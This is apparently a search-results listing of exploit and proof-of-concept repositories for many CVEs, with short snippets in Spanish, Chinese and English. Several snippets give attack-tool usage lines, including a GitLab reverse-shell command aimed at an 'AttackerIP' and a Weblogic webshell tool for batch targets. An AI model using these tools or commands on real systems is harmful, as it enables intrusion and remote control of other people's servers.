1307235 matches found
CVE-2024-4879
CVE-2024-4879 Herramienta de escaneo masivo para la vulnerabilidad CVE-2024-4879 de ServiceNow. Descripción general Esta herramienta está diseñada para el escaneo masivo de la vulnerabilidad CVE-2024-4879 de ServiceNow. Está inspirada en la investigación de seguridad de Assetnote, que cubre en...
PIL-RCE-Ghostscript-CVE-2018-16509
通过 Ghostscript CVE-2018-16509 实现 Python PIL/Pillow 远程 Shell 命令执行 灵感来源于 https://github.com/ysrc/PIL-RCE-By-GhostButt（PIL/Pillow RCE via CVE-2017-8291）。这个 Docker 环境使用的是较新版本的 Ghostscript v9.23 和较新的漏洞利用 CVE-2018-16509。 Ghostscript 是一套基于 Adobe Systems PostScript 和 Portable Document Format PDF...
exploit-cve-2017-5715
Spectre 攻击 Spectre 打破了不同应用程序之间的隔离。它允许攻击者诱骗遵循最佳实践的无错误程序泄露其秘密。事实上，上述最佳实践中的安全检查反而增加了攻击面，并可能使应用程序更容易受到 Spectre 的影响。 此漏洞利用程序会检查你的 Linux（仅限 x64）是否存在 Spectre 漏洞。 编译 只需运行 make 即可编译源代码。 运行 执行该漏洞利用程序 root@kitploit: taskset -c 1 ./exploit + Testing for Spectre + Dumping memory from 0xffffffffffdfeea8 to...
Weblogic
root@kitploit: weblogic CVE-2019-2725 CVE-2019-2729 POC 执行命令并回显 usage: 单个目标 python3 weblogicgetwebshell.py http://url 批量目标，将批量url放入urllist.txt python3 weblogicgetwebshell.py all...
ghost-checker
ghost-checker Prueba si estás expuesto a ghost CVE-2015-0235. Todo el crédito para Qualys Security Uso root@kitploit: /tmp/ghost-checker master$ make cc -o ghost ghost.c /tmp/ghost-checker master$ ./ghost not vulnerable /tmp/ghost-checker master$ make clean rm ghost Créditos Equipo de Seguridad d...
themebleed
ThemeBleed CVE-2023-38146（"ThemeBleed"）的概念验证 root@kitploit: 用法: ThemeBleed.exe 命令: server - 运行服务器 maketheme - 生成一个引用指定主机的 .theme 文件 makethemepack - 生成一个引用指定主机的 .themepack 文件 数据文件 data 目录中的二进制文件对应于 PoC 返回给目标的三份文件。 stage1 - 一个 msstyles 文件，其 PACKTHEMVERSION 设置为 999。 stage2 - 一个有效的、未经修改的 msstyles...
GitLab-CVE-2021-22205-scanner
GitLab-CVE-2021-22205-扫描器 使用说明 root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort 来源 https://hackerone.com/reports/1154542 从以下位置引用的代码片段：https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 免责声明： root@kitploit:...
CVE-2021-43798
CVE-2021-43798...
Moodle-CVE-2018-1042
Moodle CVE-2018-1042 利用CVE-2018-1042进行内部端口扫描的脚本。...
CVE-2017-0106
CVE-2017-0106...
CVE-2020-10759-poc
概要 利用 CVE-2020-10759 - fwupd PGP 签名验证绕过漏洞。详见 https://github.com/justinsteven/advisories/blob/master/2020fwupddanglings3bucketandCVE-2020-10759signatureverificationbypass.md 要求 注意：你需要从操作系统供应商处安装 python3-gpg。该模块不喜欢通过 pip 安装，因为它需要与你系统上安装的 libgpgme 保持匹配。 root@kitploit: apt install python3-flask...
CVE-2024-32002-POC
CVE-2024-32002-POC 这是 CVE-2024-32002 POC 的演示 运行： root@kitploit: git clone --recursive "[email protected]:masamuneee/CVE-2024-32002-POC.git" 后续将更新博客分析。...
cve-2020-1948-poc
cve-2020-1948-poc Apache Dubbo反序列化漏洞 install: root@kitploit: pip3 install dubbo-py root@kitploit: python3 cve-2020-1948.py Demo...
CVE-2019-15107
Webmin 应用程序版本 1.890 及以下版本存在未授权远程代码执行漏洞。CVE-2019-15107. Reference : https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...
F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study
此存储库没有 README。...
cve-2020-5902
cve-2020-5902 Exploit POC de cve-2020-5902 root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAM...
ShaikUsaf-frameworks_base_AOSP10_r33_CVE-2022-20138
此存储库没有 README。...
CVE-2016-5195
Este repositorio no tiene un README...